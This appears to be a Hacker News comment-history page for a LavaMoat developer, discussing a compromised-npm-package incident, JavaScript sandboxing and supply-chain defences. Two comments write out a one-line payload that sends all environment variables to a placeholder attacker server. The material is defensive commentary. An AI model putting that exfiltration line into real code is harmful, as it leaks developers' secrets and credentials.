Hacker Newsnew | past | comments | ask | show | jobs | submit | naugtur's commentslogin

1. Control lifecycle scripts with @lavamoat/allow-scripts

2. Do local dev with https://github.com/lavamoat/kipuka installed (I'm working on it)

3. If you don't permit the APIs used for loading DLLs they won't load themselves, so runtime protections are valid too. But I recall the DLLs were loaded in lifecycle script.


Thanks will check both out!


Very good summary.

Most other ecosystems are as vulnerable if not more, they just lack the scale.

OP, The malware is coming to the ecosystem you prefer. Give it time.


Yes, I am. I came up with the first successful attempt at integrating the Principle of Least Authority software in LavaMoat with Webpack and wrote the LavaMoat Webpack Plugin.

Also, together with a bunch of great folks at TC39 we're trying to get enough building blocks for the same-realm isolation primitives into the language.

see hardenedjs.org too

I'm doing the rounds promoting the project today because at this point all we need to eliminate certain types of malware is get LavaMoat a lot more adoption in the ecosystem.

( and that'll give me bug reports and maybe even contributions? :) )


I think most people are fine with promoting a cool project you work on, but it's best practice to disclose that in the article. Even something like "If your project was set up with LavaMoat (a project I've been working on), ..." would be enough.

I think that's why they made the comment.


Yup, and thanks - I should have made the comment myself but got distracted.


You're forgiven. Thanks to you (and any other contribs) for the excellent project


I'm often curious about how effective runtime quasi-sandboxing is in practice (at least until support at the TC39 level lands).

My understanding is that if you can run with a CSP that prevents unsafe-eval, and you lock a utility package down to not be able to access the `window` object, you can prevent it from messing with, say, window.fetch.

But what about a package that does assume the existence of window or globalThis? Say, a great many packages bridging non-React components into the React ecosystem. Once a package needs even read-only access to `window`, how do you protect against supply-chain attacks on that package? Even if you read-only proxy that object, for instance, can you ensure that nothing in `window` itself holds a reference to the non-proxied `window`?

Don't get me wrong - this project is tremendously useful as defense-in-depth. But curious about how much of a barrier it creates in practice against a determined attacker.


It's based on HardenedJS.org

The sandbox itself is tight, there's a bug bounty even.

The same technology is behind metamask snaps - plugins in a browser extension.

And Moddable has their own implementation

The biggest problem is endowing too powerful capabilities.

We've got ambitious plans for isolating DOM, but that already failed once before.


so to answer the actual question. if something expects too much browser/dom access to work, it won't?


That's why we never went with using keys in CI for publishing. Local machine publishing requires a 2fa.

automated publishing should use something like Pagerduty to signal that a version is being published to a group of maintainers and it requires an approval to go through. And any one of them can veto within 5 minutes.

But we don't have that, so gotta be careful and prepare for the worst (use LavaMoat for that)


It's within the same process and realm (window) It has a cost, but it's nothing compared to putting every dependency of a large app in a separate iframe/process and figure out a way for them to communicate.


Have you tried to find ways to break it?

Plenty of objects in the browser API contain references to things that could be used to defeat the compartmentalization.

If one were to enumerate all properties on window and document, how many would be objects with a reference back to window, document or some API not on the allowed list?


I maintain ses, the compartment primitive LavaMoat relies on. The ses shim for hardenedjs.org creates compartments that deny guest code the ability to inspect the true global object or lexically reference any of its properties. By default, each compartment only sees the transitively frozen intrinsics like Array and Object, and no way to reach the genuine evaluators. The compartment traps the module loader as well, so you can only import modules that are explicitly injected. That leaves a lot of room for the platform to make mistakes and endow the compartment with gadgets, but also gives us a place to stand to mount a defense that is not otherwise prohibitively expensive.


packages published to npm are immutable. if you pin a version, you get the same exact version as long as MSFT servers are not compromised.

Installing from git is not recommended and has more issues than you might think https://dev.to/naugtur/a-phish-on-a-fork-no-chips-52cc

You are supposed to update packages, even if you use lockfiles (very common) or tools that pin your direct dependencies (renovate etc. not so common) And when you do update, will you read the package and all of its updated dependencies?

It's a hard problem with a bunch of tradeoffs.

Can be done, with enough attention and tools. Tools include LavaMoat :)


> packages published to npm are immutable.

Depends how you'd refer to them... tags ("@latest", "@next" etc.) are not immutable and it's best to rely on the checksums in the lock file.


Re: updates: I was just thinking of waiting a few weeks on the updates to allow compromised packages to be discovered.


socket.dev will find most malware within hours of it being published.

with LavaMoat most malware won't work even if you don't detect it.


npm is on life support by msft. But there's socket.dev that can tell you if a package is malicious within hours of it being published.


“within hours” is at least one hour too late, and most likely multiple hours.


Absolutely not. you get npm packages by pulling not them pushing them to you as soon as a new version exist. The likelyhood of you updating instantly is close to zero and if not, you should set your stuff up so that it is. Many ways to do that. Even better if compared to a month or two - which is how long it often takes for a researcher to find a carefully planted malware.

Anyway, the case where reactive tools (detections, warnings) don't catch it is why LavaMoat exists. It prevents whole classes of malware from working at runtime. The article (and repo) demonstrates that.


Sure, it should never happen in CI environment. But I bet that every second, someone in the world is running "npm install" to bring in a new dependency to a new/existing project, and the impact of a malicious release can be broad very quickly. Vibe coding is not going to slow this down.


Vibe coding brings up the need for even more granular isolation. I'm on it ;)

LavaMoat Webpack Plugin will soom have the ability to treat parts of your app same as it currently treats packages - with isolation and policy limiting what they can do.


I've worked in software supply chain security for two years now and this is an extremely optimistic take. Nearly all organizations are not even remotely close to this level of responsiveness.


Again, that's why LavaMoat exists. Set it up once and it will block many classes of attacks regardless of where they come from.


Depends on whether they hold publishing to the main audience until said scan has finished.


click through to the article, it has a link to a view that lists the laughable profit


I'm actually shocked they have not stolen more seeing the breach impact radius? Perhaps we can thank wallets and exchanges for blacklisting the addresses and showing huge warnings like the one shown in the article.


It was discovered pretty quickly, i don’t think most “big” projects update their packages within minutes of publication.


Really I'd say the key here is timing. I didn't look into what time the NPM packages were updated, but there are a few key times depending on what markets you're targeting. If it were Indian devs it would be around 2AM CST and if it's US devs it would be around 10AM CST.

This is when I see the ramp up in queuing in CI/CD builds that lasts a few hours across companies and is more likely to trigger a package getting rebuilt.


It was also packages that in my experience don't often find themselves on the frontend.


- the attack it shipped was not a great fit for the packages compromised. `fetch(myserverurl+JSON.stringify(process.env))` would be a much more profitable payload - naive obfuscation makes lights go red in so many places it'd be better to not obfuscate at all. - the addresses were marked as malicious by Blockaid sooner than the package could reach production in most apps. Most wallets were ready to warn users early enough.


Huh. I read TFA in detail (and shared with my team), but I didn’t see any analysis. (?)


> I won't go into this either, but you can take a look at the summary of "donations" some other friends linked to here: https://intel.arkm.com/explorer/entity/61fbc095-f19b-479d-a0...

>Pretty low impact for an attack this big. Some of it seems to be people mocking the malware author with worthless transfers.

I believe this is the section. As far as I understand the link, it's about $500. I don't understand how you read if a donation is a worthless mockery donation.


I work with people who understand this stuff :D But if I see a transaction for thousands or millions of a coin I've never heard of with $ value of about 1 it's likely a shitcoin and I am guessing - mockery.


It seems to be this: https://intel.arkm.com/explorer/entity/61fbc095-f19b-479d-a0...

500 USD, not bad for a month of work if the author is from a 3rd world country.


"3rd world country" is an outdated cold war phrase usually incorrectly used to describe wealth or development status (it originally meant "anything not NATO or Warsaw Pact"); China is a third world country by that merit, but it's the second richest country (by GDP) in the world.

"Developing" or "poor" country may be a more accurate phrase.


3rd world country developers routinely earn more than that.

A shitty junior developer in Ecuador easily pulls 700-800 per month. If they are any competent, they can double that in an outsourcing consultancy.


there's only one transaction that's making up most of it. Someone lost some serious 0.1 ETH or so.

500$ is nothing. it's what unsophisticated phishing makes in a day. It's what a support call scammer makes their owner in a day.

This was an attack on legitimate npm packages that end up in maybe hundreds of thousands of developer machines building tens of thousands applications.

`fetch(myserverurl+JSON.stringify(process.env)` would be orders of magnitude more profitable as payload.



You're using HMR in your app's production bundle? How?


If you mean during development - you can opt out of using lavamoat in development for your webpack bundle (I'm assuming you're not running your untested code on valuable data)


Well, that’s not exactly reassuring. Having a very different runtime environment in production is grounds for hard to debug issues.

Is it possible to generate the allowlist at development time without having the webpack plugin loaded? If it’s only generated at build time, it won’t protect against malicious packages getting installed in CI just before the build happens.


You need to juggle two builds - one while you're iterating rapidly and another when you're near start and finish of the increment. Not a lot of work compared to auditing a thousand packages.

Try it and see. There's tradeoffs but if you roll it out, it is very powerful.


You too can run malware from NPM (I mean without consequences)

https://github.com/naugtur/running-qix-malware?tab=readme-ov...


Consider applying for YC's Winter 2026 batch! Applications are open till Nov 10

Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: